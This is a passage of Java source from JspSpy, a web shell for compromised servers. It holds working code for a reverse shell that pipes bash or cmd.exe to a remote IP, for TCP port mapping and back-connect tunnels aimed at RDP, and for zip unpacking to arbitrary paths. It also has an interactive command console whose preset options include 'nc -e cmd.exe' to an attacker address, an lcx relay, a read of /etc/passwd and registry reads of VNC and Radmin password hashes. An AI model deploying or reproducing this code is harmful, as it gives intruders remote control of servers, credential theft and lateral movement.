  2216. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2217. zipFile(pF,base,zout);
  2218. }
  2219. zout.close();
  2220. this.reset();
  2221. JSession.setAttribute(MSG,"Pack File Success!");
  2222. response.sendRedirect(SHELL_NAME);
  2223. } catch (Exception e) {
  2224. throw e;
  2225. }
  2226. }
  2227. public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
  2228. if (f.isDirectory()) {
  2229. if (this.config) {
  2230. String curName = f.getAbsolutePath().replace('\\','/');
  2231. curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
  2232. if (this.exclude != null) {
  2233. for (int i = 0;i<exclude.length;i++) {
  2234. if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
  2235. return;
  2236. }
  2237. }
  2238. }
  2239. }
  2240. File[] arr = f.listFiles();
  2241. for (int i = 0;i<arr.length;i++) {
  2242. File ff=arr[i];
  2243. String tmpBase = base;
  2244. if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
  2245. tmpBase += "/";
  2246. zipDir(ff,tmpBase+f.getName(),zout);
  2247. }
  2248. } else {
  2249. String tmpBase = base;
  2250. if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
  2251. tmpBase += "/";
  2252. zipFile(f,tmpBase,zout);
  2253. }
  2254.  
  2255. }
  2256. public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
  2257. if (this.config) {
  2258. String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
  2259. if (this.extFilter.equals("blacklist")) {
  2260. if (Util.exists(this.fileExts,ext)) {
  2261. return;
  2262. }
  2263. } else if (this.extFilter.equals("whitelist")) {
  2264. if (!Util.exists(this.fileExts,ext)) {
  2265. return;
  2266. }
  2267. }
  2268. if (!this.sizeFilter.equals("no")) {
  2269. double size = f.length() / 1024;
  2270. if (this.sizeFilter.equals("greaterthan")) {
  2271. if (size < filesize)
  2272. return;
  2273. } else if (this.sizeFilter.equals("lessthan")) {
  2274. if (size > filesize)
  2275. return;
  2276. }
  2277. }
  2278. }
  2279. ZipEntry entry = new ZipEntry(base+f.getName());
  2280. zout.putNextEntry(entry);
  2281. FileInputStream fInput = new FileInputStream(f);
  2282. int len = 0;
  2283. byte[] buf = new byte[1024];
  2284. while ((len = fInput.read(buf)) != -1) {
  2285. zout.write(buf, 0, len);
  2286. zout.flush();
  2287. }
  2288. fInput.close();
  2289. }
  2290. }
  2291. private static class UnPackInvoker extends DefaultInvoker {
  2292. public boolean doBefore(){return false;}
  2293. public boolean doAfter(){return false;}
  2294. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2295. try {
  2296. String savepath = request.getParameter("savepath");
  2297. String zipfile = request.getParameter("zipfile");
  2298. if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
  2299. return;
  2300. File save = new File(savepath);
  2301. save.mkdirs();
  2302. ZipFile file = new ZipFile(new File(zipfile));
  2303. Enumeration e = file.entries();
  2304. while (e.hasMoreElements()) {
  2305. ZipEntry en = (ZipEntry) e.nextElement();
  2306. String entryPath = en.getName();
  2307. int index = entryPath.lastIndexOf("/");
  2308. if (index != -1)
  2309. entryPath = entryPath.substring(0,index);
  2310. File absEntryFile = new File(save,entryPath);
  2311. if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
  2312. absEntryFile.mkdirs();
  2313. BufferedOutputStream output = null;
  2314. BufferedInputStream input = null;
  2315. try {
  2316. output = new BufferedOutputStream(
  2317. new FileOutputStream(new File(save,en.getName())));
  2318. input = new BufferedInputStream(
  2319. file.getInputStream(en));
  2320. byte[] b = new byte[1024];
  2321. int len = input.read(b);
  2322. while (len != -1) {
  2323. output.write(b, 0, len);
  2324. len = input.read(b);
  2325. }
  2326. } catch (Exception ex) {
  2327. } finally {
  2328. try {
  2329. if (output != null)
  2330. output.close();
  2331. if (input != null)
  2332. input.close();
  2333. } catch (Exception ex1) {
  2334. }
  2335. }
  2336. }
  2337. file.close();
  2338. JSession.setAttribute(MSG,"UnPack File Success!");
  2339. response.sendRedirect(SHELL_NAME);
  2340. } catch (Exception e) {
  2341.  
  2342. throw e ;
  2343. }
  2344. }
  2345. }
  2346. //VMapPort
  2347. private static class VmpInvoker extends DefaultInvoker {
  2348. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2349. try {
  2350. PrintWriter out = response.getWriter();
  2351. Object localIP = JSession.getAttribute("localIP");
  2352. Object localPort = JSession.getAttribute("localPort");
  2353. Object remoteIP = JSession.getAttribute("remoteIP");
  2354. Object remotePort = JSession.getAttribute("remotePort");
  2355. Object done = JSession.getAttribute("done");
  2356.  
  2357. JSession.removeAttribute("localIP");
  2358. JSession.removeAttribute("localPort");
  2359. JSession.removeAttribute("remoteIP");
  2360. JSession.removeAttribute("remotePort");
  2361. JSession.removeAttribute("done");
  2362.  
  2363. if (Util.isEmpty(localIP))
  2364. localIP = InetAddress.getLocalHost().getHostAddress();
  2365. if (Util.isEmpty(localPort))
  2366. localPort = "3389";
  2367. if (Util.isEmpty(remoteIP))
  2368. remoteIP = "www.forjj.com";
  2369. if (Util.isEmpty(remotePort))
  2370. remotePort = "80";
  2371. if (!Util.isEmpty(done))
  2372. Util.outMsg(out,done.toString());
  2373.  
  2374. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2375. "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
  2376. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2377. " <tr>"+
  2378. " <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"+
  2379. " <div id=\"hOWTm\">"+
  2380. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2381. " <tr align=\"center\">"+
  2382. " <td style=\"width:5%\"></td>"+
  2383. " <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
  2384. " <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
  2385. " </td>"+
  2386. " <td style=\"width:20%\" align=\"left\">Local Port :"+
  2387. " <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
  2388. " <td style=\"width:20%\" align=\"left\">Remote Ip :"+
  2389. " <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
  2390. " <td style=\"width:20%\" align=\"left\">Remote Port :"+
  2391. " <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
  2392. " </tr>"+
  2393. " <tr align=\"center\">"+
  2394. " <td colspan=\"5\"><br/>"+
  2395. " <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
  2396. " <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
  2397. " </td>"+
  2398. " </tr>"+
  2399. " </table>"+
  2400. " </div>"+
  2401. "</td>"+
  2402. "</tr>"+
  2403. "</table>"+
  2404. "</form>");
  2405. String targetIP = request.getParameter("targetIP");
  2406. String targetPort = request.getParameter("targetPort");
  2407. String yourIP = request.getParameter("yourIP");
  2408. String yourPort = request.getParameter("yourPort");
  2409. if (Util.isEmpty(targetIP))
  2410. targetIP = "127.0.0.1";
  2411. if (Util.isEmpty(targetPort))
  2412. targetPort = "3389";
  2413. if (Util.isEmpty(yourIP))
  2414. yourIP = request.getRemoteAddr();
  2415. if (Util.isEmpty(yourPort))
  2416. yourPort = "53";
  2417. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2418. "<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
  2419. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2420. " <tr>"+
  2421. " <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"+
  2422. " <div id=\"hOWTm\">"+
  2423. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2424. " <tr align=\"center\">"+
  2425. " <td style=\"width:5%\"></td>"+
  2426. " <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
  2427. " <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
  2428. " </td>"+
  2429. " <td style=\"width:20%\" align=\"left\">Target Port :"+
  2430. " <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
  2431. " <td style=\"width:20%\" align=\"left\">Your Ip :"+
  2432. " <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
  2433. " <td style=\"width:20%\" align=\"left\">Your Port :"+
  2434. " <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
  2435. " </tr>"+
  2436. " <tr align=\"center\">"+
  2437. " <td colspan=\"5\"><br/>"+
  2438. " <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
  2439. " </td>"+
  2440. " </tr>"+
  2441. " </table>"+
  2442. " </div>"+
  2443. "</td>"+
  2444. "</tr>"+
  2445. "</table>"+
  2446. "</form>");
  2447. } catch (Exception e) {
  2448.  
  2449. throw e ;
  2450. }
  2451. }
  2452. }
  2453. //StopMapPort
  2454. private static class SmpInvoker extends DefaultInvoker {
  2455. public boolean doAfter(){return true;}
  2456. public boolean doBefore(){return true;}
  2457. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2458. try {
  2459. Object obj = JSession.getAttribute(PORT_MAP);
  2460. if (obj != null) {
  2461. ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
  2462. server.close();
  2463. }
  2464. JSession.setAttribute("done","Stop Success!");
  2465. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2466. } catch (Exception e) {
  2467.  
  2468. throw e ;
  2469. }
  2470. }
  2471. }
  2472. //PortBack
  2473. private static class PortBackInvoker extends DefaultInvoker {
  2474. public boolean doAfter(){return true;}
  2475. public boolean doBefore(){return true;}
  2476. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2477. try {
  2478. String targetIP = request.getParameter("targetIP");
  2479. String targetPort = request.getParameter("targetPort");
  2480. String yourIP = request.getParameter("yourIP");
  2481. String yourPort = request.getParameter("yourPort");
  2482. Socket yourS = new Socket();
  2483. yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
  2484. Socket targetS = new Socket();
  2485. targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
  2486. StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
  2487. StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
  2488. JSession.setAttribute("done","Port Back Success !");
  2489. ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
  2490. } catch (Exception e) {
  2491.  
  2492. throw e ;
  2493. }
  2494. }
  2495. }
  2496. private static class MapPortInvoker extends DefaultInvoker {
  2497. public boolean doBefore(){return false;}
  2498. public boolean doAfter(){return false;}
  2499. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2500. try {
  2501. PrintWriter out = response.getWriter();
  2502. String localIP = request.getParameter("localIP");
  2503. String localPort = request.getParameter("localPort");
  2504. final String remoteIP = request.getParameter("remoteIP");
  2505. final String remotePort = request.getParameter("remotePort");
  2506. if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  2507. return;
  2508. Object obj = JSession.getAttribute(PORT_MAP);
  2509. if (obj != null) {
  2510. ServerSocket s = (ServerSocket)obj;
  2511. s.close();
  2512. }
  2513. final ServerSocket server = new ServerSocket();
  2514. server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
  2515. JSession.setAttribute(PORT_MAP,server);
  2516. new Thread(new Runnable(){
  2517. public void run(){
  2518. while (true) {
  2519. Socket soc = null;
  2520. Socket remoteSoc = null;
  2521. DataInputStream remoteIn = null;
  2522. DataOutputStream remoteOut = null;
  2523. DataInputStream localIn = null;
  2524. DataOutputStream localOut = null;
  2525. try{
  2526. soc = server.accept();
  2527. remoteSoc = new Socket();
  2528. remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
  2529. remoteIn = new DataInputStream(remoteSoc.getInputStream());
  2530. remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
  2531. localIn = new DataInputStream(soc.getInputStream());
  2532. localOut = new DataOutputStream(soc.getOutputStream());
  2533. StreamConnector.readFromLocal(localIn,remoteOut);
  2534. StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
  2535. }catch(Exception ex)
  2536. {
  2537. break;
  2538. }
  2539. }
  2540. }
  2541.  
  2542. }).start();
  2543. JSession.setAttribute("done","Map Port Success!");
  2544. JSession.setAttribute("localIP",localIP);
  2545. JSession.setAttribute("localPort",localPort);
  2546. JSession.setAttribute("remoteIP",remoteIP);
  2547. JSession.setAttribute("remotePort",remotePort);
  2548. JSession.setAttribute(SESSION_O,"vmp");
  2549. response.sendRedirect(SHELL_NAME);
  2550. } catch (Exception e) {
  2551.  
  2552. throw e ;
  2553. }
  2554. }
  2555. }
  2556. //VBackConnect
  2557. private static class VbcInvoker extends DefaultInvoker {
  2558. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2559. try {
  2560. PrintWriter out = response.getWriter();
  2561. Object ip = JSession.getAttribute("ip");
  2562. Object port = JSession.getAttribute("port");
  2563. Object program = JSession.getAttribute("program");
  2564. Object done = JSession.getAttribute("done");
  2565. JSession.removeAttribute("ip");
  2566. JSession.removeAttribute("port");
  2567. JSession.removeAttribute("program");
  2568. JSession.removeAttribute("done");
  2569. if (Util.isEmpty(ip))
  2570. ip = request.getRemoteAddr();
  2571. if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  2572. port = "53";
  2573. if (Util.isEmpty(program)) {
  2574. if (ISLINUX)
  2575. program = "/bin/bash";
  2576. else
  2577. program = "cmd.exe";
  2578. }
  2579.  
  2580. if (!Util.isEmpty(done))
  2581. Util.outMsg(out,done.toString());
  2582. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  2583. "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
  2584. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2585. " <tr>"+
  2586. " <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"+
  2587. " <div id=\"hOWTm\">"+
  2588. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2589. " <tr align=\"center\">"+
  2590. " <td style=\"width:5%\"></td>"+
  2591. " <td align=\"center\">Your Ip :"+
  2592. " <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
  2593. " Your Port :"+
  2594. " <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
  2595. " <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
  2596. " </tr>"+
  2597. " <tr align=\"center\">"+
  2598. " <td colspan=\"2\"><br/>"+
  2599. " <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
  2600. " </td>"+
  2601. " </tr>"+
  2602. " </table>"+
  2603. " </div>"+
  2604. "</td>"+
  2605. "</tr>"+
  2606. "</table>"+
  2607. "</form>");
  2608. } catch (Exception e) {
  2609.  
  2610. throw e ;
  2611. }
  2612. }
  2613. }
  2614. private static class BackConnectInvoker extends DefaultInvoker {
  2615. public boolean doAfter(){return false;}
  2616. public boolean doBefore(){return false;}
  2617. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2618. try {
  2619. String ip = request.getParameter("ip");
  2620. String port = request.getParameter("port");
  2621. String program = request.getParameter("program");
  2622. if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
  2623. return;
  2624. Socket socket = new Socket(ip,Integer.parseInt(port));
  2625. Process process = Runtime.getRuntime().exec(program);
  2626. (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
  2627. (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
  2628. (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
  2629. JSession.setAttribute("done","Back Connect Success!");
  2630. JSession.setAttribute("ip",ip);
  2631. JSession.setAttribute("port",port);
  2632. JSession.setAttribute("program",program);
  2633. JSession.setAttribute(SESSION_O,"vbc");
  2634. response.sendRedirect(SHELL_NAME);
  2635. } catch (Exception e) {
  2636.  
  2637. throw e ;
  2638. }
  2639. }
  2640. }
  2641. private static class JspEnvInvoker extends DefaultInvoker {
  2642. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2643. try {
  2644. PrintWriter out = response.getWriter();
  2645. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2646. " <tr>"+
  2647. " <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"+
  2648. " <div id=\"ghaB\">"+
  2649. " <hr/>"+
  2650. " <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2651. Properties pro = System.getProperties();
  2652. Enumeration names = pro.propertyNames();
  2653. while (names.hasMoreElements()){
  2654. String name = (String)names.nextElement();
  2655. out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
  2656. }
  2657. out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  2658. /*
  2659. Map envs = System.getenv();
  2660. Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  2661. for (Map.Entry<String,String> en:entrySet) {
  2662. out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  2663. }*/
  2664. out.println("</ul></div></td>"+
  2665. " </tr>"+
  2666. " </table>");
  2667. } catch (Exception e) {
  2668.  
  2669. throw e ;
  2670. }
  2671. }
  2672. }
  2673. private static class ReflectInvoker extends DefaultInvoker {
  2674. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2675. try {
  2676. PrintWriter out = response.getWriter();
  2677. String c = request.getParameter("Class");
  2678. Class cls = null;
  2679. try {
  2680. if (!Util.isEmpty(c))
  2681. cls = Class.forName(c);
  2682. } catch (ClassNotFoundException ex) {
  2683. Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
  2684. }
  2685. out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
  2686. " <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
  2687. " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2688. " <tr>"+
  2689. " <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"+
  2690. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2691. " <tr>"+
  2692. " <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
  2693. " <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
  2694. " </tr>"+
  2695. " "+
  2696. " </table>"+
  2697. " </td>"+
  2698. " </tr>"+
  2699. " </table>"+
  2700. "</form>");
  2701.  
  2702. if (cls != null) {
  2703. StringBuffer sb = new StringBuffer();
  2704. if (cls.getPackage() != null)
  2705. sb.append("package "+cls.getPackage().getName()+";\n");
  2706. String n = null;
  2707. if (cls.isInterface())
  2708. n = "";
  2709. //else if (cls.isEnum())
  2710. // n = "enum";
  2711. else
  2712. n = "class";
  2713. sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
  2714. if (cls.getSuperclass() != null)
  2715. sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
  2716. if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
  2717. Class[] faces = cls.getInterfaces();
  2718. sb.append("\t implements ");
  2719. for (int i = 0;i<faces.length;i++) {
  2720. sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
  2721. if (i != faces.length -1) {
  2722. sb.append(",");
  2723. }
  2724. }
  2725. }
  2726. sb.append("{\n\t\n");
  2727. sb.append("\t//constructors..\n");
  2728. Constructor[] cs = cls.getConstructors();
  2729. for (int i = 0;i<cs.length;i++) {
  2730. Constructor cc = cs[i];
  2731. sb.append("\t"+cc+";\n");
  2732. }
  2733. sb.append("\n\t//fields\n");
  2734. Field[] fs = cls.getDeclaredFields();
  2735. for (int i =0;i<fs.length;i++) {
  2736. Field f = fs[i];
  2737. sb.append("\t"+f.toString()+";");
  2738. if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
  2739. sb.append("\t//value is : ");
  2740. f.setAccessible(true);
  2741. Object obj = f.get(null);
  2742. sb.append("<span style='color:red'>");
  2743. if (obj != null)
  2744. sb.append(obj.toString());
  2745. else
  2746. sb.append("NULL");
  2747.  
  2748. sb.append("</span>");
  2749. }
  2750. sb.append("\n");
  2751. }
  2752.  
  2753. sb.append("\n\t//methods\n");
  2754. Method[] ms = cls.getDeclaredMethods();
  2755. for (int i =0;i<ms.length;i++) {
  2756. Method m = ms[i];
  2757. sb.append("\t"+ m.toString()+";\n");
  2758. }
  2759. sb.append("}\n");
  2760. String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t","&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll("\n","<br/>")+"</span>";
  2761. Util.outMsg(out,m,"left");
  2762. }
  2763. } catch (Exception e) {
  2764. throw e;
  2765. }
  2766. }
  2767. }
  2768. private static class TopInvoker extends DefaultInvoker {
  2769. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2770. try {
  2771. PrintWriter out = response.getWriter();
  2772. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
  2773. "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
  2774. " <tr class=\"head\">"+
  2775. " <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2010 </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
  2776. " </tr>"+
  2777. " <tr class=\"alt1\">"+
  2778. " <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
  2779. " <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
  2780. " <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
  2781. " <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
  2782. " <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
  2783. " <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
  2784. " <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
  2785. " <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
  2786. " <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
  2787. " <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
  2788. " <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
  2789. " <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
  2790. " <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
  2791. " <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
  2792. " <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
  2793. " </tr>"+
  2794. "</table>");
  2795. if (JSession.getAttribute(MSG) != null) {
  2796. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  2797. JSession.removeAttribute(MSG);
  2798. }
  2799. if (JSession.getAttribute(ENTER_MSG) != null) {
  2800. String outEntry = request.getParameter("outentry");
  2801. if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
  2802. Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
  2803. }
  2804. } catch (Exception e) {
  2805.  
  2806. throw e ;
  2807. }
  2808. }
  2809. }
  2810. private static class VOnLineShellInvoker extends DefaultInvoker {
  2811. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2812. try {
  2813. PrintWriter out = response.getWriter();
  2814. out.println("<script>"+
  2815. " function $(id) {"+
  2816. " return document.getElementById(id);"+
  2817. " }"+
  2818. " var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
  2819. " window.onload = function(){"+
  2820. " setInterval(function(){"+
  2821. " if ($(\"autoscroll\").checked)"+
  2822. " {"+
  2823. " var f = window.frames[\"echo\"];"+
  2824. " if (f && f.document && f.document.body)"+
  2825. " {"+
  2826. " if (!ie)"+
  2827. " {"+
  2828. " if (f.document.body.offsetHeight)"+
  2829. " {"+
  2830. " f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
  2831. " }"+
  2832. " } else {"+
  2833. " f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
  2834. " }"+
  2835. " }"+
  2836. " }"+
  2837. " },500);"+
  2838. " }"+
  2839. " </script>");
  2840. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2841. " <tr>"+
  2842. " <td>");
  2843. out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  2844. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
  2845. " <input type=\"submit\" value=\" start \" class=\"bt\">"+
  2846. " <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
  2847. " <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
  2848. " </form>"+
  2849. " <hr/>"+
  2850. " <iframe class=\"secho\" name=\"echo\" src=\"\">"+
  2851. " </iframe>"+
  2852. " <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
  2853. " <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
  2854. " <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
  2855. " <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
  2856. " <option value=\"\" selected> </option>"+
  2857. " <option value=\"uname -a\">uname -a</option>"+
  2858. " <option value=\"cat /etc/issue\">issue</option>"+
  2859. " <option value=\"cat /etc/passwd\">passwd</option>"+
  2860. " <option value=\"netstat -an\">netstat -an</option>"+
  2861. " <option value=\"net user\">net user</option>"+
  2862. " <option value=\"tasklist\">tasklist</option>"+
  2863. " <option value=\"tasklist /svc\">tasklist /svc</option>"+
  2864. " <option value=\"net start\">net start</option>"+
  2865. " <option value=\"net stop policyagent /yes\">net stop</option>"+
  2866. " <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
  2867. " <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
  2868. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
  2869. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
  2870. " <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
  2871. " <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
  2872. " <option value=\"systeminfo\">systeminfo</option>"+
  2873. " <option value=\"net localgroup\">view groups</option>"+
  2874. " <option value=\"net localgroup administrators\">view admins</option>"+
  2875. " </select>"+
  2876. " <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
  2877. " <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
  2878. " </form>"+
